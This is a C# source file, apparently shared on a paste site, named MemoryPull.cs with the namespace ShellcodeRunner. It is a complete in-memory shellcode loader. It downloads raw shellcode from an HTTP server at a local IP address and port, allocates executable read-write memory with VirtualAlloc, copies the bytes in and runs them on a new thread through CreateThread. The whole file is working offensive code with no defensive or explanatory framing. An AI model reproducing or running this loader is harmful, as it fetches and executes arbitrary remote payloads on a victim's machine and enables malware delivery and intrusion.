MemoryPull.cs 1.8 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556
  1. using System;
  2. using System.Net;
  3. using System.IO;
  4. using System.Reflection;
  5. using System.Runtime.InteropServices;
  6. using System.Diagnostics;
  7. namespace ShellcodeRunner
  8. {
  9. class Program
  10. {
  11. [DllImport("kernel32")]
  12. public static extern IntPtr CreateThread(
  13. IntPtr lpThreadAttributes,
  14. uint dwStackSize,
  15. IntPtr lpStartAddress,
  16. IntPtr param,
  17. uint dwCreationFlags,
  18. IntPtr lpThreadId
  19. );
  20. static void Main(string[] args)
  21. {
  22. //Download the shellcode
  23. WebClient client = new WebClient();
  24. string url = "http://192.168.1.183:8080/shellcode.bin";
  25. byte[] Shellcode = client.DownloadData(url);
  26. //Allocate memory for shellcode
  27. IntPtr allocMemAddress = VirtualAlloc(IntPtr.Zero, (uint)Shellcode.Length, 0x00001000 | 0x00002000, 0x40);
  28. //Copy shellcode to memory
  29. Marshal.Copy(Shellcode, 0, allocMemAddress, Shellcode.Length);
  30. //Create thread to run shellcode
  31. IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
  32. //Wait for thread to complete
  33. WaitForSingleObject(threadHandle, 0xFFFFFFFF);
  34. Console.WriteLine("Shellcode executed");
  35. }
  36. //Importing VirtualAlloc from Kernel32.dll
  37. [DllImport("kernel32")]
  38. public static extern IntPtr VirtualAlloc(
  39. IntPtr lpStartAddr,
  40. uint size,
  41. uint flAllocationType,
  42. uint flProtect
  43. );
  44. //Importing WaitForSingleObject from Kernel32.dll
  45. [DllImport("kernel32")]
  46. public static extern UInt32 WaitForSingleObject(
  47. IntPtr hHandle,
  48. UInt32 dwMilliseconds
  49. );
  50. }
  51. }